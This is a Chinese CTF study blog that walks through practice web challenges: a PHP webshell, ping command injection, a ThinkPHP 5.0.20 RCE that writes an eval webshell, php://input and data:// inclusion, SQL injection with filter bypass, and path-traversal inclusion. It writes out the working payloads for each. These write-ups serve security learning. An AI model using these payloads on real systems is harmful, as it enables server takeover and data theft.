CTF题目学习记录2

CTF题目学习记录

以下题目均来源于攻防世界,解析部分来源于攻防世界网站的write up,部分为自己总结
题目1
小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

webshell
[目标]
了解php一句话木马、如何使用webshell

[环境]
windows

[工具]
firefox、hackbar、CKnife

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将
其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服
务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后
门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,"web"的含义是显然需要服务器开放web服务,"shell"的含义是取得对服务器某
种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操
作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
首先新建一个index.php文件,把PHP代码输入到里面,电脑可能会自动识别它为病毒,并
删除,可以恢复后使用
在这里插入图片描述
打开菜刀工具,右击添加shell,把对应的地址填入,后面的写POST出的值shell,点击添加
在这里插入图片描述
双击该地址,打开后连接成功,发现一个flag.txt,打开得到flag
在这里插入图片描述
cyberpeace{7a46fa0e927a131e935f1830991b4349}

题目2
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

command_execution
[原理]
| 的作用为将前一个命令的结果传递给后一个命令作为输入

&&的作用是前一条命令执行成功时,才执行后一条命令

[目地]
掌握命令拼接的方法

[环境]
windows

[工具]
firefox

[步骤]
1.打开浏览器,在文本框内输入127.0.0.1 | find / -name “flag.txt” (将 | 替换成 & 或 && 都可以),查找flag所在位置,如图所示。
在这里插入图片描述
2.在文本框内输入 127.0.0.1 | cat /home/flag.txt 可得到flag,如图所示。
在这里插入图片描述
相关知识:
WEB命令注入
参考网址:https://blog.csdn.net/weixin_45844670/article/details/108195753
题目3
小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

随机在线场景:http://220.249.52.133:35787

阅读代码,逐步整理。

整理 JS 代码得到:

function dechiffre(pass_enc) {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab = pass_enc.split(’,’);
var tab2 = pass.split(’,’);
var i, j, k, l = 0, m, n, o, p = “”;
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
去除无用变量得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i, n, p = “”;
n = tab2.length;
for (i = 0; i < n; i++) {
p += String.fromCharCode(tab2[i]);
if (i == 5) break;
}
for (i = 0; i < n; i++) {
if (i > 5 && i < n - 1) p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
合并两个循环得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i;
var p = “”;
for (i = 0; i < tab2.length - 1; i++) {
p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
末尾并入循环得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i;
var p = “”;
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}
就逻辑上可见它只是将内容为逗号分隔的数字的字符串转成相应编码的字符串。

将代码修改,用下方的可疑字符串代替函数中的常量,得到的整个网页代码是:

JS 保存为以HTML后缀的文件再用浏览器打开即可见结果。

题目4
想想初始页面是哪个

baby_web
【实验原理】
web请求头中的location作用

【实验目的】
掌握web响应包头部常见参数

【实验环境】
Windows

【实验工具】
firefox

【实验步骤】
1.根据提示,在url中输入index.php,发现打开的仍然还是1.php

2.打开火狐浏览器的开发者模式,选择网络模块,再次请求index.php,查看返回包,可以看到location参数被设置了1.php,并且得到flag。
在这里插入图片描述
题目3
有关robots协议练习

WeChall: Training:Get Resouces
【原理】
robots.txt

【目的】
学习robots.txt

【环境】
windows

【工具】
浏览器

【步骤】
输入/robots.txt

然后打开fl0g.php就可以看到flag:wWwrobots

【总结】
robots.txt是一种君子协议

题目4
有关某php网站漏洞的问题

这是一个 thinkphp 框架,先查看版本号。在网址上随意输入一个不存在的模块地址:

在这里插入图片描述

可以看到,thinkphp 版本为 5.0.20,正好是去年爆出的 thinkphp rce 漏洞的版本。漏 洞 成 因 具 体 可 以 看 该 博 客 : https://www.cnblogs.com/backlion/p/10106676.html
既 然 知 道 了 怎 么 利 用 , 就 直 接 上 payload: s=index/think\app/invokefunction&function=call_user_func_array&vars[0]= phpinfo &vars[1][]=1

在这里插入图片描述

成 功 执 行 命 令 , 接 下 来 直 接 写 入 shell: s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_p ut_contents&vars[1][]=test.php&vars[1][]=<?php

highlight_file( FILE );@eval($_POST[sss]);?>

如果成功写入会返回文件的大小,尝试去访问该文件:
在这里插入图片描述
成功写入 shell,直接上CKnife:
在这里插入图片描述
题目5
web_php_include

打开的随机生成页面如下图
在这里插入图片描述
然后利用火狐中的HackBar插件URL框中输入 http://220.249.52.133:47136/?page=PhP://input(前半部为随机生成的该页面的URL),然后再postdata框中输入<?php system("ls")?>,然后得到下图
在这里插入图片描述
然后将页面中显示出来的“fl4gisisish3r3.php”添加到<?php system("cat")?>的cat后面,得到<?php system("cat fl4gisisish3r3.php")?>,然后将上述代码进行base64编码加密得到PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==,然后将该编码添加到http://220.249.52.133:47136//?page=data://text/plain//;base64,后,得到如下图

在这里插入图片描述
然后点击右键,查看该网页源代码得到如下图flag
在这里插入图片描述
题目6
supersqli

①打开题目中随机给出的环境,可以得到如下页面
在这里插入图片描述
②通过在文本框中输入不同的数字可以得到不同的页面,但是只有在输入1和2之后页面信息有所显示,这说明该网页的sql语句只有表一和表二有有写数据,所以可以在hackbar的url框中写入http://220.249.52.133:47665/?inject=-1’;show tables --+然后运行,查询表信息,效果如下图
在这里插入图片描述
③由上图可以看出,一共有两个表,并且表名也已显示出来,然后分别对这两个表进行查询操作
在这里插入图片描述
在这里插入图片描述
④由上述两图可知,flag只在第一张图中存在,所以在第一张表中查询有关flag的信息,在http://220.249.52.133:47665/?inject=-1’;后面添加set @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepare aaa from @sql;EXECUTE aaa;#,由于这里select被过滤了,所以我们必须得绕过这个过滤,我们可以通过预编译的方式绕过,通过该语句的查询可以得到如下效果图
在这里插入图片描述
⑤但是由上图可以看出,prepare和set同样被过滤了,我们可以通过对这两个关键词进行大小写修改的方式绕过,例如set修改为SeT,prepare修改为prePaRe最终得到flag,效果如下图
在这里插入图片描述

题目7
ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
①打开题目所给的随机环境可看到如下页面
在这里插入图片描述
②然后根据题目描述可知,数据都被删除了,所以点击左侧大数据下面的两个选项,点击后可知,只有第一个选项可以跳到其他网页:
在这里插入图片描述
③然后利用burpsuite进行抓包拦截,得到如下信息
在这里插入图片描述
④将这些信息复制,右键点击这个选项
在这里插入图片描述
⑤点击start attack开始进攻
在这里插入图片描述
⑥最后可以在这里得到flag的结果
在这里插入图片描述
题目8
warm up

本题目解析由iZer_0原创
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_42016346/article/details/104199710

打开题目所给的随机环境后只有一个滑稽??(那就看看它里面有啥吧)

在这里插入图片描述

想啥呢,是审查源码啦

在这里插入图片描述

可以看到有注释source.php,访问后可以看到其源码

在这里插入图片描述

又发现一个hint.php文件,先访问再说

在这里插入图片描述

提示我们flag在ffffllllaaaagggg里面,此时题目已经完成一半啦

接着看回source.php源码

可以看到最后的include 是可以动态构造参数的,那应该就是解题关键了

不过要经过三个判断

第一个:检查一个变量是否为空

第二个:是否为字符串

第三个:通过函数来检查

我们要构造的payload本身就满足前两点所以无视

重要是第三点的这个函数

函数作用是分三步检查传进来的参数是否满足白名单:

$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];

第一步:

在这里插入图片描述

只要我们传的参数是source.php或者hint.php则返回真

如果不满足继续往下判断

第二步:

在这里插入图片描述

取传进参数首次出现?前的部分

再进行白名单判断

如果还不满足继续往下判断

第三步:

在这里插入图片描述

先把传进的参数做urldecode

接着就和第二步一样

都不满足就输出"you can’t see it"并且返回假

要想满足这些条件那我们传的参数就只能是这种形式

($_REQUEST 是通过 GET,POST 和 COOKIE 输入机制来传递参数,下面偷懒就用get方式传值)

http://111.198.29.45:48818/source.php?file=source.php?(payload)

http://111.198.29.45:48818/source.php?file=hint.php?(payload)

上面这种形式就符合函数的第二个判断

如果闲着无聊也可以满足第三种,就是双重url编码,传过去的时候会自动解码一次,再加上函数的一次就会满足条件

http://111.198.29.45:48818/source.php?file=source.php%253f(%253f就是?的两次url编码)

http://111.198.29.45:48818/source.php?file=hint.php%253f

符合条件后include得到得值就变成:

include source.php?(payload)

因为source.php?(或hint.php?)是固定不能改的,那么我们能利用的漏洞只有本地文件包含了

(本人技术比较菜也只能想出这种了,如果还有别的方法还望大佬们赐教)

flag文件名也知道了就差路径不知道,一个一个试可以得到

source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg

ok!flag get√

可能会有疑问为啥include source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg能执行成功

看官方对include的定义

因为我们的参数是有/…/…/…/…/…/…/这样的路径所以符合最后一段话如果定义了路径,就会忽略/前的字符串而去找/…/…/…/…/…/…/ffffllllaaaagggg这个文件

题目9
题目描述:如题目环境报错,稍等片刻刷新即可

①首先打开题目提供的随机环境可以看到网站如下页面
在这里插入图片描述
②很明显,这是一个有关sql注入的题目,可以通过sqlmap工具进行注入,或者通过手动强行注入,获取flag,首先在文本框中输入如下内容后按回车可得:
在这里插入图片描述
③然后通过输入’ and 0 union select 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS #后,可得
在这里插入图片描述
④然后翻到最下面可以看到secret_table这个表,这便是我们需要查询的表,然后输入’ and 0 union select 1,column_schema,data_type from information_schema.columns where table_name=“secret_table”#可得如下页面:
在这里插入图片描述
⑤我们可以看到flag就在fl4g中,输入’ and 0 union select 1,2,fl4g from secret_table可以看到如下页面:
在这里插入图片描述
最后得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值